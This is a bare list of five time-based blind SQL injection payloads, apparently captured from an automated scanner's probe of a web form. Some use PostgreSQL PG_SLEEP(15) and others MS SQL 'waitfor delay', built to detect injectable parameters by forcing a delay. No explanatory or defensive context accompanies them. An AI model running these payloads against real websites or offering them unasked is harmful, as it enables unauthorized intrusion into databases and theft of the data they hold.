555-1)) OR 868=(SELECT 868 FROM PG_SLEEP(15))–
555-1) OR 600=(SELECT 600 FROM PG_SLEEP(15))–
555-1 OR 336=(SELECT 336 FROM PG_SLEEP(15))–
555lRk5cTDT’; waitfor delay ‘0:0:15’ —
555-1 waitfor delay ‘0:0:15’ —